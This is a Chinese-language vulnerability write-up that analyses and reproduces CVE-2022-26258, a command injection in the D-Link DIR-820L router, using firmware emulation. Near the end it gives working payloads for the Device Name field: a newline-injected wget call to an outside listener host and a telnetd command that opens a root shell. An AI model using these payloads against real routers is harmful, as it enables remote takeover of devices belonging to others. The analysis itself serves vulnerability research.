D-Link的命令注入漏洞CVE-2022-26258分析及复现

0rb1t Lv2

环境搭建

1.binwalk安装

1
2
3
git clone --recursive https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo python3 setup.py install

2.FirmAE安装

1
2
3
4
git clone --recursive https://github.com/pr0v3rbs/FirmAE.git
cd FirmAE
./download.sh
./install.sh

3.固件下载

1
wget http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663

分析

先看有关的CVE描述信息

说是在lan.asp下,有不安全的参数Device Name传入,可导致远程命令执行。

接下来我们使用binwalk将固件解包

1
binwalk -Me DIR820LA1_FW105B03.bin

进入squashfs-root目录查找lan.asp文件

1
2
3
4
5
$ find . | grep 'lan.asp'
---------------------
./www/wizard_wlan.asp
./www/lan.asp
---------------------

在lan.asp文件中找device name相关的关键词可以看到

copyDataToDataModelFormat函数生成pararmStr然后作为post_data发送给get_set.ccp。

再次通过命令查找发现不存在get_set.ccp文件(存在get_set程序但经过分析并未发现关键代码),判断是通过程序解析。

通过命令查找包含关键词的文件

1
2
3
4
5
6
$ find . -type f -exec grep -li 'get_set' {} + | xargs grep -li 'Device' | xargs grep -li 'name' | grep -vE '*.asp|*.js'
------------------
./lib/libapmib.so
./bin/flash
./sbin/ncc2
------------------

经过分析排查可以在ncc2程序中找到关键代码。

很明显这里调用了hasInjectionString对存放device_name的obj对象进行了check,然后调用_system传入了*obj。

我们需要对这两个函数都进行定位,还是使用一样的搜索方法

1
2
3
4
5
$ find . -type f -exec grep -li '_system' {} + | xargs grep -li 'hasInjectionString' | grep -vE '*.asp|*.js'
-------------------
./lib/libleopard.so
./sbin/ncc2
-------------------

可以看出,libleopard.so就是这俩函数的库文件了。

找到这俩函数的定义

可以看出只进行了[‘`’,’\‘,’;’,’'‘,’|’]的check,可以使用换行或者&&绕过,然后就可以直接调用system了。

复现

先使用FirmAE启动固件,启动时间会很久(10-30分钟)。

1
2
sudo ./init.sh
sudo ./run.sh -r DIR820L ./firmwarm/DIR820LA1_FW105B03.bin

正常启动后会显示如下页面

然后访问192.168.0.1进入登录页面,无密码所以直接点击login登录即可。

然后使用burpsuit抓包可以看到LanHostCfg_Device_Name_1.1.1.0传入了device_name。

我们将其修改成以下,点击continue

1
%0awget http://192.168.0.2:4444%0a

然后本地运行nc监听,可以看到成功验证wget的执行。

1
2
3
4
5
6
7
nc -lp 4444
-----------------------
GET / HTTP/1.1
Host: 192.168.0.2:4444
User-Agent: Wget
Connection: close
-----------------------

同样可以使用如下命令反弹shell。

1
%0atelnetd -l /bin/sh -p 4444 -b 0.0.0.0%0a
  • Title: D-Link的命令注入漏洞CVE-2022-26258分析及复现
  • Author: 0rb1t
  • Created at : 2024-08-16 19:45:16
  • Updated at : 2024-08-18 22:49:23
  • Link: https://redefine.ohevan.com/2024/08/16/D-Link的命令注入漏洞CVE-2022-26258分析及复现/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
D-Link的命令注入漏洞CVE-2022-26258分析及复现